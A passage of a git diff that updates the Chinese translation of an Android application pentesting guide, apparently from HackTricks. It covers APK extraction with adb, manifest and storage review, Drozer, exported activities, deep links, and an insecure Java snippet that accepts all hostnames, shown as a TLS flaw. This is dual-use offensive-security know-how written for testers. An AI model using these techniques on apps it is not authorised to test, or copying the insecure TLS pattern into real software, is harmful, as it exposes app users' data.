Exploit Suggester:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\ **EvilAbigail (physical access):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ diff --git a/src/mobile-pentesting/android-app-pentesting/README.md b/src/mobile-pentesting/android-app-pentesting/README.md index 89d2ad30e..3df3c850a 100644 --- a/src/mobile-pentesting/android-app-pentesting/README.md +++ b/src/mobile-pentesting/android-app-pentesting/README.md @@ -1,10 +1,10 @@ -# Android 应用程序 Pentesting +# Android 应用 Pentesting {{#include ../../banners/hacktricks-training.md}} -## Android 应用基础 +## Android 应用 基础 -强烈建议先阅读此页面,以了解与 Android 安全相关的 **最重要的部分** 以及 Android 应用中 **最危险的组件**: +强烈建议先阅读此页面,以了解与 Android 安全相关的**最重要部分以及 Android 应用中最危险的组件**: {{#ref}} @@ -13,24 +13,24 @@ android-applications-basics.md ## ADB (Android Debug Bridge) -这是连接 Android 设备(模拟或真实设备)所需的主要工具。\ +这是连接 Android 设备(模拟或物理)所需的主要工具。\ **ADB** 允许从计算机通过 **USB** 或 **Network** 控制设备。该工具支持双向 **复制** 文件、**安装** 和 **卸载** 应用、**执行** shell 命令、**备份** 数据、**读取** 日志等功能。 查看以下 [**ADB Commands**](adb-commands.md) 列表以学习如何使用 adb。 ## Smali -有时对应用的代码进行修改以获取 **隐藏的信息**(例如被严重混淆的密码或 flags)是有意义的。此时,反编译 apk、修改代码并重新编译可能非常有用。\ -[**In this tutorial** you can **learn how to decompile and APK, modify Smali code and recompile the APK** with the new functionality](smali-changes.md)。这可以作为在即将进行的 dynamic analysis 中若干测试的 **替代方法**。请 **始终记住这一可能性**。 +有时为了访问 **隐藏信息**(例如高度混淆的密码或 flags),修改应用代码会很有用。因此,可能需要反编译 apk、修改代码并重新编译。\ +[**在本教程中** 你可以 **学习如何反编译 APK、修改 Smali 代码并重新编译 APK** 以加入新功能](smali-changes.md)。这在进行动态分析时作为若干测试的**替代方法**非常有用。请始终**记住**这一可能性。 ## Other interesting tricks -- [Spoofing your location in Play Store](spoofing-your-location-in-play-store.md) +- [在 Play Store 中伪装你的位置](spoofing-your-location-in-play-store.md) - [Shizuku Privileged API (ADB-based non-root privileged access)](shizuku-privileged-api.md) -- [Exploiting Insecure In-App Update Mechanisms](insecure-in-app-update-rce.md) -- [Abusing Accessibility Services (Android RAT)](accessibility-services-abuse.md) +- [利用不安全的 In-App 更新机制](insecure-in-app-update-rce.md) +- [滥用 Accessibility Services (Android RAT)](accessibility-services-abuse.md) - **下载 APKs**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd) -- 从设备提取 APK: +- 从设备提取 APK: ```bash adb shell pm list packages com.android.insecurebankv2 @@ -40,7 +40,7 @@ package:/data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk adb pull /data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk ``` -- 使用 [APKEditor](https://github.com/REAndroid/APKEditor) 合并所有 splits 和 base apks: +- 使用 [APKEditor](https://github.com/REAndroid/APKEditor) 合并所有 splits 和 base apks: ```bash mkdir splits adb shell pm path com.android.insecurebankv2 | cut -d ':' -f 2 | xargs -n1 -i adb pull {} splits @@ -49,7 +49,7 @@ java -jar ../APKEditor.jar m -i splits/ -o merged.apk # after merging, you will need to align and sign the apk, personally, I like to use the uberapksigner java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed ``` -## 案例研究与漏洞 +## Case Studies & Vulnerabilities {{#ref}} @@ -63,39 +63,39 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed ## Static Analysis -首先,分析 APK 时你应该使用反编译器**查看 Java 代码**。\ -请, [**read here to find information about different available decompilers**](apk-decompilers.md). +First of all, for analysing an APK you should **take a look to the to the Java code** using a decompiler.\ +Please, [**read here to find information about different available decompilers**](apk-decompilers.md). ### Looking for interesting Info -仅仅查看 APK 的 **strings** 就可以搜索 **passwords**、**URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep))、**api** keys、**encryption**、**bluetooth uuids**、**tokens** 以及其他任何有趣的信息……甚至要留意代码执行的 **backdoors** 或认证后门(应用中硬编码的管理员凭据)。 +只需查看 APK 的 **strings** 就可以搜索 **passwords**、**URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep))、**api** keys、**encryption**、**bluetooth uuids**、**tokens** 以及其他有价值的信息……甚至查找代码执行的 **backdoors** 或身份验证 backdoors(应用的硬编码管理员凭据)。 **Firebase** -特别注意 **Firebase** URL 并检查其是否配置不当。[More information about whats is FIrebase and how to exploit it here.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md) +特别注意 **firebase URLs** 并检查其是否配置不当。[More information about whats is FIrebase and how to exploit it here.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md) ### Basic understanding of the application - Manifest.xml, strings.xml -**检查应用的 _Manifest.xml_ 和 **_strings.xml_** 文件可以揭示潜在的安全漏洞**。这些文件可以通过反编译器访问,也可以将 APK 重命名为 .zip 然后解压来获取。 +**对应用程序的 _Manifest.xml_ 和 **_strings.xml_** 文件的检查可以暴露潜在的安全漏洞**。这些文件可以通过反编译器访问,或将 APK 的文件扩展名重命名为 .zip 然后解压来获取。 -从 **Manifest.xml** 中可识别的**漏洞**包括: +**从 _Manifest.xml_ 识别出的漏洞包括:** -- **Debuggable Applications**: 如果在 _Manifest.xml_ 中将应用设置为 debuggable(`debuggable="true"`),则存在风险,因为这允许连接并可能被利用。有关如何利用 debuggable 应用的更多信息,请参考关于在设备上查找和利用 debuggable applications 的教程。 -- **Backup Settings**: 对于处理敏感信息的应用,应显式设置 `android:allowBackup="false"`,以防止通过 adb 在 usb debugging 启用时进行未授权的数据备份。 -- **Network Security**: 自定义网络安全配置(`android:networkSecurityConfig="@xml/network_security_config"`)位于 _res/xml/_ 中,可指定证书 pin、HTTP 流量设置等安全细节。例如,可以为特定域允许 HTTP 流量。 -- **Exported Activities and Services**: 在 manifest 中识别 exported activities 和 services 可以突出可能被滥用的组件。在动态测试阶段的进一步分析可以揭示如何利用这些组件。 -- **Content Providers and FileProviders**: 暴露的 content providers 可能允许未授权访问或修改数据。还应仔细检查 FileProviders 的配置。 -- **Broadcast Receivers and URL Schemes**: 这些组件可能被用来进行利用,尤其要关注 URL scheme 的处理方式以防止输入相关漏洞。 -- **SDK Versions**: `minSdkVersion`、`targetSDKVersion` 和 `maxSdkVersion` 属性指示支持的 Android 版本,强调不应支持过时且存在漏洞的 Android 版本以确保安全性。 +- **Debuggable Applications**: 在 _Manifest.xml_ 文件中将应用设置为 debuggable (`debuggable="true"`) 会带来风险,因为它允许连接从而可能被利用。有关如何发现并利用可调试应用的更多信息,请参考相关教程。 +- **Backup Settings**: 对于处理敏感信息的应用,应显式设置 `android:allowBackup="false"` 属性,以防止通过 adb 进行未经授权的数据备份,尤其是在启用 usb debugging 时。 +- **Network Security**: 在 _res/xml/_ 中的自定义网络安全配置(`android:networkSecurityConfig="@xml/network_security_config"`)可以指定证书 pin 和 HTTP 流量设置等安全细节。例如允许针对特定域的 HTTP 流量。 +- **Exported Activities and Services**: 在 manifest 中识别 exported 的 activities 和 services 可以突出可能被滥用的组件。在动态测试期间的进一步分析可以揭示如何利用这些组件。 +- **Content Providers and FileProviders**: 暴露的 content providers 可能允许未授权访问或修改数据。FileProviders 的配置也应仔细审查。 +- **Broadcast Receivers and URL Schemes**: 这些组件可能被用于利用,特别需要注意 URL schemes 如何管理以防止输入相关的漏洞。 +- **SDK Versions**: `minSdkVersion`、`targetSDKVersion` 和 `maxSdkVersion` 属性指示支持的 Android 版本,强调了不要支持过时且存在已知漏洞的 Android 版本以保证安全。 -从 **strings.xml** 文件中,可以发现敏感信息,如 API keys、自定义 schema 以及开发者备注,说明需要仔细检查这些资源。 +从 **strings.xml** 文件中,可以发现敏感信息,如 API keys、自定义 schema 及其他开发者注释,凸显了对这些资源进行仔细审查的必要性。 ### Tapjacking -**Tapjacking** 是一种攻击,攻击者启动一个**恶意** **应用** 并**将其置于受害者应用之上**。一旦它遮挡了受害应用,其用户界面设计会诱导用户与其交互,同时将交互传递给受害应用。\ -实际上,它是**让用户无法察觉自己实际上是在对受害应用执行操作**。 +**Tapjacking** 是一种攻击,攻击者启动一个 **malicious application** 并将其定位在受害应用之上。一旦其可见地遮挡住受害应用,其用户界面将被设计为欺骗用户与之交互,同时将交互传递给受害应用。\ +实际上,这会**使用户无法察觉他们实际上正在对受害应用执行操作**。 -更多信息请见: +Find more information in: {{#ref}} @@ -104,9 +104,9 @@ tapjacking.md ### Task Hijacking -如果一个 **activity** 的 **`launchMode`** 设置为 **`singleTask` 且未定义 `taskAffinity`**,则会容易受到 Task Hijacking。也就是说,如果在真实应用之前安装并启动了另一个应用,该应用可能**劫持真实应用的任务**(用户会以为自己在使用真实应用,实际上在与**恶意应用**交互)。 +如果一个 activity 的 **`launchMode`** 被设置为 **`singleTask`** 且没有定义任何 **`taskAffinity`**,则该 activity 易受 Task Hijacking。 这意味着,如果在真实应用之前安装并启动一个应用,它可能会**劫持真实应用的 task**(因此用户会以为自己在使用真实应用,实际上在与恶意应用交互)。 -更多信息见: +More info in: {{#ref}} @@ -117,65 +117,65 @@ android-task-hijacking.md **Internal Storage** -在 Android 中,存储在 **internal** 存储中的文件设计为仅可被**创建它们的应用**访问。这一安全措施由 Android 操作系统强制执行,通常足以满足大多数应用的安全需求。然而,开发者有时会使用诸如 `MODE_WORLD_READABLE` 和 `MODE_WORLD_WRITABLE` 的模式来**允许**不同应用之间**共享**文件。但这些模式**不会限制**其他应用(包括潜在的恶意应用)对这些文件的访问。 +在 Android 中,存储在 **internal** 存储的文件被设计为仅可被创建它们的 **app** 访问。这一安全措施由 Android 操作系统强制执行,通常足以满足大多数应用的安全需求。然而,开发者有时会使用诸如 `MODE_WORLD_READABLE` 和 `MODE_WORLD_WRITABLE` 的模式以**允许**文件在不同应用之间共享。但这些模式**不会限制**其他应用(包括潜在的恶意应用)对这些文件的访问。 1. **Static Analysis:** -- **检查** 是否使用了 `MODE_WORLD_READABLE` 和 `MODE_WORLD_WRITABLE`。这些模式**可能会暴露**文件,导致**非预期或未授权访问**。 +- **Ensure** that the use of `MODE_WORLD_READABLE` and `MODE_WORLD_WRITABLE` is **carefully scrutinized**。这些模式**可能会暴露**文件给意外或未授权的访问。 2. **Dynamic Analysis:** -- **验证** 应用创建的文件的**权限设置**。特别是,**检查**是否有文件被设置为可被全局读取或写入。这会带来重大安全风险,因为这将允许安装在设备上的**任何应用**(无论来源或目的)**读取或修改**这些文件。 +- **Verify** the **permissions** set on files created by the app。特别是,**检查**是否有任何文件被设置为全局可读或可写。这可能构成重大安全风险,因为它将允许设备上安装的**任何应用**(无论来源或意图)读取或修改这些文件。 **External Storage** -处理外部存储(如 SD 卡)上的文件时,应采取以下预防措施: +在处理位于外部存储(如 SD 卡)上的文件时,应采取如下预防措施: -1. **可访问性**: +1. **Accessibility**: - 外部存储上的文件是**全局可读可写**的。这意味着任何应用或用户都可以访问这些文件。 -2. **安全顾虑**: -- 鉴于访问便利,建议**不要将敏感信息存储在外部存储上**。 +2. **Security Concerns**: +- 鉴于易访问性,建议**不要在外部存储上保存敏感信息**。 - 外部存储可以被移除或被任何应用访问,因此安全性较低。 -3. **处理来自外部存储的数据**: -- 从外部存储读取数据时**始终进行输入验证**。这是关键,因为这些数据来自不受信任的来源。 -- 强烈不建议将可执行文件或 class 文件存放在外部存储以供动态加载。 -- 如果应用必须从外部存储检索可执行文件,确保这些文件在动态加载前**已签名并经过加密校验**。此步骤对于维护应用的安全完整性至关重要。 +3. **Handling Data from External Storage**: +- 始终对从外部存储检索的数据执行**输入验证**,这很重要,因为这些数据来自不受信任的来源。 +- 强烈不建议将可执行文件或 class 文件存放在外部存储上以便动态加载。 +- 如果你的应用必须从外部存储检索可执行文件,确保在动态加载之前对这些文件进行签名和加密学验证。这一步对于维护应用的安全完整性至关重要。 -外部存储可在 /storage/emulated/0 , /sdcard , /mnt/sdcard 访问 +External storage can be **accessed** in `/storage/emulated/0` , `/sdcard` , `/mnt/sdcard` > [!TIP] -> 从 Android 4.4(**API 17**)开始,SD 卡有一个目录结构,**限制应用只能访问专属于该应用的目录**。这可防止恶意应用获取对其他应用文件的读写访问。 +> Starting with Android 4.4 (**API 17**), the SD card has a directory structure which **limits access from an app to the directory which is specifically for that app**. This prevents malicious application from gaining read or write access to another app's files. -**以明文存储的敏感数据** +**Sensitive data stored in clear-text** -- **Shared preferences**: Android 允许每个应用轻松将 xml 文件保存在路径 `/data/data//shared_prefs/`,有时可以在该文件夹中发现明文的敏感信息。 -- **Databases**: Android 允许每个应用轻松将 sqlite 数据库存储在路径 `/data/data//databases/`,有时可以在该文件夹中发现明文的敏感信息。 +- **Shared preferences**: Android 允许每个应用很容易地在路径 `/data/data//shared_prefs/` 中保存 xml 文件,有时可以在该文件夹中发现以明文存储的敏感信息。 +- **Databases**: Android 允许每个应用很容易地在路径 `/data/data//databases/` 中保存 sqlite 数据库,有时可以在该文件夹中发现以明文存储的敏感信息。 ### Broken TLS **Accept All Certificates** -有时开发者会接受所有证书,即使例如 hostname 不匹配,也会出现类似如下代码行: +出于某些原因,开发者有时会接受所有证书,即使例如 hostname 不匹配,也会使用类似以下的代码行: ```java SSLSocketFactory sf = new cc(trustStore); sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER); ``` A good way to test this is to try to capture the traffic using some proxy like Burp without authorising Burp CA inside the device. Also, you can generate with Burp a certificate for a different hostname and use it. -### 加密学缺陷 +### 不安全的加密 -**密钥管理不当** +**Poor Key Management Processes** -一些开发者将敏感数据保存在本地存储中,并使用硬编码/可预测的密钥进行加密。这不应该这样做,因为一些逆向工程可能允许攻击者提取机密信息。 +有些开发者会将敏感数据保存在本地存储,并用硬编码/可预测的密钥在代码中进行加密。这样做不应该被允许,因为一些逆向工程可能让攻击者提取机密信息。 -**使用不安全和/或已废弃的算法** +**Use of Insecure and/or Deprecated Algorithms** -开发者不应使用**已废弃的算法**来执行授权**检查**、**存储**或**发送**数据。这些算法中的一些有:RC4、MD4、MD5、SHA1……例如,如果使用**hashes**来存储密码,应使用对暴力破解具有抵抗力的哈希并加盐。 +开发者不应使用**deprecated algorithms**来执行授权**checks**、**存储**或**发送**数据。这些算法包括:RC4、MD4、MD5、SHA1... 例如如果使用**hashes**来存储密码,应该使用抗**brute-force**的hash算法并加salt。 ### 其他检查 -- 建议**对 APK 进行混淆**,以增加逆向工程的难度。 -- 如果应用是敏感应用(如银行应用),应执行**自己的检测来判断手机是否已 root**,并据此采取措施。 -- 如果应用是敏感应用(如银行应用),应检测是否在**emulator**上运行。 -- 如果应用是敏感应用(如银行应用),应**在执行前检查自身完整性**以判断是否被修改。 -- 使用 [**APKiD**](https://github.com/rednaga/APKiD) 来检查构建 APK 时使用了哪个 compiler/packer/obfuscator +- 建议对 **APK** 进行**obfuscate**,以增加逆向工程难度。 +- 如果应用是敏感类(例如银行应用),它应该自行**检测设备是否已 root**并据此采取措施。 +- 如果应用是敏感类(例如银行应用),它应该检测是否在**emulator**上运行。 +- 如果应用是敏感类(例如银行应用),它应该**在执行前自检完整性**以确认是否被修改。 +- 使用 [**APKiD**](https://github.com/rednaga/APKiD) 检查用于构建 APK 的编译器/packer/obfuscator。 ### React Native Application @@ -207,7 +207,7 @@ With this knowledge, **mariana-trench will review the code and find possible vul ### Secrets leaked -An application may contain secrets (API keys, passwords, hidden urls, subdomains...) inside of it that you might be able to discover. You could us a tool such as [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks) +应用可能包含秘密(API keys、密码、隐藏的 urls、子域名等),你可能能够在应用中发现它们。你可以使用诸如 [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks) 的工具。 ### Bypass Biometric Authentication @@ -216,14 +216,14 @@ An application may contain secrets (API keys, passwords, hidden urls, subdomains bypass-biometric-authentication-android.md {{#endref}} -### 其他有趣的函数 +### Other interesting functions - **Code execution**: `Runtime.exec(), ProcessBuilder(), native code:system()` - **Send SMSs**: `sendTextMessage, sendMultipartTestMessage` - **Native functions** declared as `native`: `public native, System.loadLibrary, System.load` - [Read this to learn **how to reverse native functions**](reversing-native-libraries.md) -### **其他技巧** +### **Other tricks** {{#ref}} @@ -234,47 +234,47 @@ content-protocol.md --- -## 动态分析 +## Dynamic Analysis -> 首先,你需要一个可以安装应用并配置好所需环境(主要是 Burp CA cert、Drozer 和 Frida)的环境。因此,强烈建议使用已 root 的设备(无论是否为模拟器)。 +> First of all, you need an environment where you can install the application and all the environment (Burp CA cert, Drozer and Frida mainly). Therefore, a rooted device (emulated or not) is extremely recommended. -### 在线动态分析 +### Online Dynamic analysis -你可以在 [https://appetize.io/](https://appetize.io/) 创建一个**免费账号**。该平台允许你**上传**并**执行** APK,因此有助于观察 APK 的行为。 +你可以在以下网站创建一个**免费账号**: [https://appetize.io/](https://appetize.io/)。该平台允许你**上传**并**执行**APK,便于查看 apk 的运行行为。 -你甚至可以在网页中**查看应用的日志**并通过 **adb** 连接。 +你甚至可以在网页上**查看应用的日志**并通过 **adb** 连接。 ![](<../../images/image (831).png>) -借助 ADB 连接,你可以在模拟器内使用 **Drozer** 和 **Frida**。 +借助 ADB 连接,你可以在模拟器中使用 **Drozer** 和 **Frida**。 -### 本地动态分析 +### Local Dynamic Analysis -#### 使用模拟器 +#### Using an emulator -- [**Android Studio**](https://developer.android.com/studio)(你可以创建 **x86** 和 **arm** 设备,并且根据[**此处**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html) **最新 x86** 版本 **支持 ARM 库**,无需使用缓慢的 ARM 模拟器)。 -- 在此页面学习如何设置: +- [**Android Studio**](https://developer.android.com/studio)(你可以创建 **x86** 和 **arm** 设备,根据[**this**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html) 最新信息,**最新 x86** 版本 **支持 ARM 库**,无需使用缓慢的 arm 模拟器)。 +- 在此页面中学习如何设置: {{#ref}} avd-android-virtual-device.md {{#endref}} -- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(免费版:Personal Edition,需要创建账号。建议**下载**包含**VirtualBox**的版本以避免潜在错误。)** +- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(免费版本:Personal Edition,需要创建账户。建议下载带有**VirtualBox**的版本以避免潜在错误。)** - [**Nox**](https://es.bignox.com)(免费,但不支持 Frida 或 Drozer)。 > [!TIP] -> 在任何平台创建新模拟器时,请记住屏幕越大,模拟器运行越慢。因此尽可能选择小屏幕。 +> 在任何平台上创建新的 emulator 时请记住,屏幕越大,模拟器运行越慢。因此尽量选择较小屏幕。 -要在 Genymotion 中**安装 google services**(如 AppStore),需要点击下图中红色标记的按钮: +要在 Genymotion 中**安装 google services(如 Play Store)**,需要点击下图中标红的按钮: ![](<../../images/image (277).png>) -另外,请注意在 **Genymotion 的 Android VM 配置** 中可以选择 **Bridge Network mode**(如果你要从另一个带有工具的 VM 连接到该 Android VM,这会很有用)。 +另外,请注意在 **Genymotion 的 Android VM 配置** 中可以选择 **Bridge Network mode**(如果你会从不同的 VM 连接到该 Android VM 并使用工具,这将很有用)。 -#### 使用实体设备 +#### Use a physical device -你需要激活**调试**选项,如果能**root**设备会更好: +你需要激活 **debugging** 选项,如果能 **root** 设备会更好: 1. **Settings**. 2. (FromAndroid 8.0) Select **System**. @@ -282,109 +282,109 @@ avd-android-virtual-device.md 4. Press **Build number** 7 times. 5. Go back and you will find the **Developer options**. -> 一旦安装了应用,第一件事应该是尝试使用它,调查它的行为、工作方式并熟悉它。\ -> 建议使用 MobSF dynamic analysis + pidcat 执行此初步动态分析,这样我们在学习应用如何工作的同时,MobSF 会**捕获**许多稍后可以查看的**有趣数据**。 +> 一旦安装了应用,第一件事应该是运行它并调查它的行为,弄清它如何工作并熟悉它。\ +> 我建议使用 MobSF dynamic analysis + pidcat 来执行这一步初始的动态分析,这样我们可以在 MobSF **捕获**大量以后可以查看的**有趣**数据的同时**学习应用的工作原理**。 -### 非预期的数据泄露 +### Unintended Data Leakage -**日志记录** +**Logging** -开发者应谨慎避免公开暴露**调试信息**,因为这可能导致敏感数据泄露。推荐使用工具 [**pidcat**](https://github.com/JakeWharton/pidcat) 和 `adb logcat` 来监控应用日志,以识别并保护敏感信息。**Pidcat** 因其易用性和可读性而更受欢迎。 +开发者应谨慎避免公开暴露**调试信息**,因为这可能导致敏感数据泄露。建议使用工具 [**pidcat**](https://github.com/JakeWharton/pidcat) 和 `adb logcat` 来监控应用日志,以识别并保护敏感信息。**Pidcat** 因其易用性和可读性而受推荐。 > [!WARNING] -> 请注意,从**Android 4.0 及更高版本**开始,**应用只能访问自身的日志**,因此无法访问其他应用的日志。\ -> 无论如何,仍建议**不要记录敏感信息**。 +> 注意,从 **Android 4.0 之后的较新版本** 起,**应用只能访问自己的日志**。因此应用无法访问其他应用的日志。\ +> 不管怎样,仍建议**不要记录敏感信息**。 -**剪贴板缓冲** +**Copy/Paste Buffer Caching** -Android 的**基于剪贴板**的框架支持应用间的复制粘贴功能,但存在风险,因为**其他应用**可以**访问**剪贴板,可能会暴露敏感数据。对于应用中的敏感部分(例如信用卡信息),应**禁用复制/粘贴**功能以防止数据泄露。 +Android 的**基于剪贴板**的框架支持复制粘贴功能,但存在风险:**其他应用**可以**访问**剪贴板,可能导致敏感数据泄露。对于敏感区域(如信用卡信息)务必**禁用复制/粘贴**功能以防止数据泄露。 -**崩溃日志** +**Crash Logs** -如果应用**崩溃**并**保存日志**,这些日志可能会帮助攻击者,特别是在应用无法被逆向时。为降低风险,应避免在崩溃时记录日志;如果必须将日志通过网络传输,确保通过 SSL 通道发送以保证安全。 +如果应用**崩溃**并**保存日志**,这些日志可能帮助攻击者,尤其是在应用无法被逆向时。为减轻风险,避免在崩溃时记录敏感信息;若必须将日志通过网络发送,确保通过 SSL 通道传输以保障安全。 作为 pentester,**尝试查看这些日志**。 -**发送给第三方的分析数据** +**Analytics Data Sent To 3rd Parties** -应用常常集成像 Google Adsense 这样的服务,如果开发者实现不当,可能会无意中**leak**敏感数据。要识别潜在的数据泄露,建议**拦截应用流量**并检查是否有敏感信息被发送到第三方服务。 +应用常集成第三方服务(如 Google Adsense),若实现不当可能会无意中**泄露敏感数据**。要识别潜在的数据泄露,建议**拦截应用流量**并检查是否将敏感信息发送给第三方服务。 ### SQLite DBs -大多数应用会使用**内部 SQLite 数据库**来保存信息。在渗透测试期间,查看创建的**数据库**、**表名**和**列名**以及所有保存的数据,因为你可能会发现**敏感信息**(这将构成一个漏洞)。\ -数据库应该位于 `/data/data/the.package.name/databases`,例如 `/data/data/com.mwr.example.sieve/databases` +大多数应用会使用**internal SQLite databases**来保存信息。在渗透测试时,查看创建的**数据库**、**表名**和**列名**以及保存的所有**数据**非常重要,因为你可能会发现**敏感信息**(这将是一种漏洞)。\ +数据库通常位于 `/data/data/the.package.name/databases`,例如 `/data/data/com.mwr.example.sieve/databases` -如果数据库保存机密信息并且是 **encrypted b**ut you can **find** the **password** inside the application it's still a **vulnerability**. +如果数据库保存了机密信息并且**加密了**,但你可以在应用中**找到**该数据库的**密码**,那仍然是一个**漏洞**。 -使用 `.tables` 枚举表,使用 `.schema ` 枚举表的列。 +使用 `.tables` 枚举表,并使用 `.schema ` 枚举表的列。 ### Drozer (Exploit Activities, Content Providers and Services) From [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** allows you to **assume the role of an Android app** and interact with other apps. It can do **anything that an installed application can do**, such as make use of Android’s Inter-Process Communication (IPC) mechanism and interact with the underlying operating system. .\ Drozer is s useful tool to **exploit exported activities, exported services and Content Providers** as you will learn in the following sections. -### 利用已导出的 Activities +### Exploiting exported Activities [**Read this if you want to refresh what is an Android Activity.**](android-applications-basics.md#launcher-activity-and-other-activities)\ -也请记住,Activity 的代码从 **`onCreate`** 方法开始执行。 +Also remember that the code of an activity starts in the **`onCreate`** method. **Authorisation bypass** -当一个 Activity 被导出(exported)时,你可以从外部应用调用其界面。因此,如果一个包含**敏感信息**的 activity 被**导出**,你可能可以**绕过****认证**机制**访问**它。 +When an Activity is exported you can invoke its screen from an external app. Therefore, if an activity with **sensitive information** is **exported** you could **bypass** the **authentication** mechanisms **to access it.** [**Learn how to exploit exported activities with Drozer.**](drozer-tutorial/index.html#activities) -你也可以通过 adb 启动一个已导出的 activity: +You can also start an exported activity from adb: - PackageName is com.example.demo - Exported ActivityName is com.example.test.MainActivity ```bash adb shell am start -n com.example.demo/com.example.test.MainActivity ``` -**NOTE**: MobSF will detect as malicious the use of _**singleTask/singleInstance**_ as `android:launchMode` in an activity, but due to [this](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), apparently this is only dangerous on old versions (API versions < 21). +**注意**: MobSF will detect as malicious the use of _**singleTask/singleInstance**_ as `android:launchMode` in an activity, but due to [this](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), apparently this is only dangerous on old versions (API versions < 21). > [!TIP] -> 注意:授权绕过不一定就是一个漏洞,这取决于绕过的工作原理以及暴露了哪些信息。 +> 注意,authorisation bypass 并不总是一个漏洞,这取决于绕过的实现方式以及暴露了哪些信息。 **Sensitive information leakage** -**Activities can also return results**。如果你能找到一个 exported 且未受保护的 activity 调用 **`setResult`** 方法并**返回敏感信息**,则会发生敏感信息泄露。 +**Activities can also return results**。如果你设法找到一个被导出且未受保护的 activity,调用 **`setResult`** 方法并 **返回敏感信息**,则会发生 sensitive information leakage。 #### Tapjacking -如果没有防止 Tapjacking,你可以滥用已导出的 activity 使 **user perform unexpected actions**。有关更多信息,请参见 [**what is Tapjacking follow the link**](#tapjacking)。 +If Tapjacking isn't prevented, you could abuse the exported activity to make the **user perform unexpected actions**。For more info about [**what is Tapjacking follow the link**](#tapjacking)。 -### Exploiting Content Providers - Accessing and manipulating sensitive information +### Exploiting Content Providers - 访问和操作敏感信息 -[**Read this if you want to refresh what is a Content Provider.**](android-applications-basics.md#content-provider)\ -Content providers 基本上用于 **share data**。如果一个 app 存在可用的 content providers,你可能能够从中 **extract sensitive** 数据。也建议测试可能存在漏洞的 **SQL injections** 和 **Path Traversals**。 +[**如果你想回顾什么是 Content Provider,请阅读此处。**](android-applications-basics.md#content-provider)\ +Content providers 基本上用于 **share data**。如果一个 app 有可用的 content providers,你可能能够从中 **extract sensitive** 数据。也有必要测试可能的 **SQL injections** 和 **Path Traversals**,因为它们可能存在漏洞。 [**Learn how to exploit Content Providers with Drozer.**](drozer-tutorial/index.html#content-providers) ### **Exploiting Services** -[**Read this if you want to refresh what is a Service.**](android-applications-basics.md#services)\ -记住,Service 的动作从 `onStartCommand` 方法开始。 +[**如果你想回顾什么是 Service,请阅读此处。**](android-applications-basics.md#services)\ +记住,Service 的动作从方法 `onStartCommand` 开始。 -Service 本质上是可以接收数据、处理数据并(可选地)返回响应的组件。因此,如果应用导出了一些 services,你应该检查其代码以了解其行为,并对其进行动态测试以提取机密信息、绕过认证措施等。\ +As service 基本上是可以 **接收数据**、**处理** 并(或不)**返回** 响应的东西。因此,如果一个应用导出了某些 services,你应该 **检查** 其 **code** 以了解其行为,并 **动态** 测试以提取机密信息、绕过认证措施等。\ [**Learn how to exploit Services with Drozer.**](drozer-tutorial/index.html#services) ### **Exploiting Broadcast Receivers** -[**Read this if you want to refresh what is a Broadcast Receiver.**](android-applications-basics.md#broadcast-receivers)\ -记住,Broadcast Receiver 的动作从 `onReceive` 方法开始。 +[**如果你想回顾什么是 Broadcast Receiver,请阅读此处。**](android-applications-basics.md#broadcast-receivers)\ +记住,Broadcast Receiver 的动作从方法 `onReceive` 开始。 -广播接收器会等待某种类型的消息。取决于接收器如何处理该消息,它可能存在漏洞。\ +A broadcast receiver 会等待某种类型的消息。取决于 receiver 如何处理该消息,它可能存在漏洞。\ [**Learn how to exploit Broadcast Receivers with Drozer.**](#exploiting-broadcast-receivers) ### **Exploiting Schemes / Deep links** -你可以手动查找 deep links,使用像 MobSF 这样的工具或像 [this one](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py) 这样的脚本。\ -你可以使用 **adb** 或 **浏览器** 打开已声明的 **scheme**: +You can look for deep links manually, using tools like MobSF or scripts like [this one](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\ +You can **open** a declared **scheme** using **adb** or a **browser**: ```bash adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name] ``` -_请注意,您可以**省略包名**,手机会自动调用应打开该链接的应用。_ +_注意你可以**省略包名**,移动设备会自动调用应打开该链接的应用。_ ```html Click me @@ -393,62 +393,62 @@ _请注意,您可以**省略包名**,手机会自动调用应打开该链接 ``` **执行的代码** -为了找到应用中将被执行的**代码**, 转到 deeplink 所调用的 activity 并搜索函数 **`onNewIntent`**。 +为了找到应用中**将被执行的代码**,转到由 deep link 调用的 activity 并搜索函数 **`onNewIntent`**。 ![](<../../images/image (436) (1) (1) (1).png>) **敏感信息** -每次找到 deep link 时,检查**它不会通过 URL 参数接收敏感数据(例如密码)**,因为任何其他应用都可能**冒充该 deep link 并窃取这些数据!** +每次发现 deep link 时,请检查 **它没有通过 URL 